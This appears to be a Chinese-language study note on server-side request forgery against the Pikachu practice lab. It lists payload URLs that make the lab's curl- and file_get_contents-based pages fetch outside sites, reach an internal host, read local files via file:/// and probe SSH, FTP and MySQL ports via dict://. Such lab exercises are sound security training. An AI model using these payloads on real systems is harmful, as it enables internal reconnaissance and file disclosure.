漏洞原理SSRF漏洞 服务器请求伪造
1.在后端php代码中使用curl_exec函数
1> 可以访问pikechu提供的url,并返回文章的内容,注意url:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php**
2> 修改为百度/京东/淘宝这样的第三方服务器地址
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://www.baidu.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.jd.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.taobao.com**
3> 如果在后端php代码中,没有对url参数进行限制,我们可以访问内网服务器。假设内网服务器地址是:192.168.10.143。我们以pikachu这个服务器为跳板机去访问内网服务器。
http://192.168.56.1/
http://192.168.56.1
**http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.143**
curl支持的协议非常多,产生的漏洞的危害很大。
4> 读文件file:///, 端口服务信息探测 dict://
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**
5> .在后端php代码中使用file_get_content函数
读取文件内容:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://192.168.10.143**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://127.0.0.1/phpinfo.php**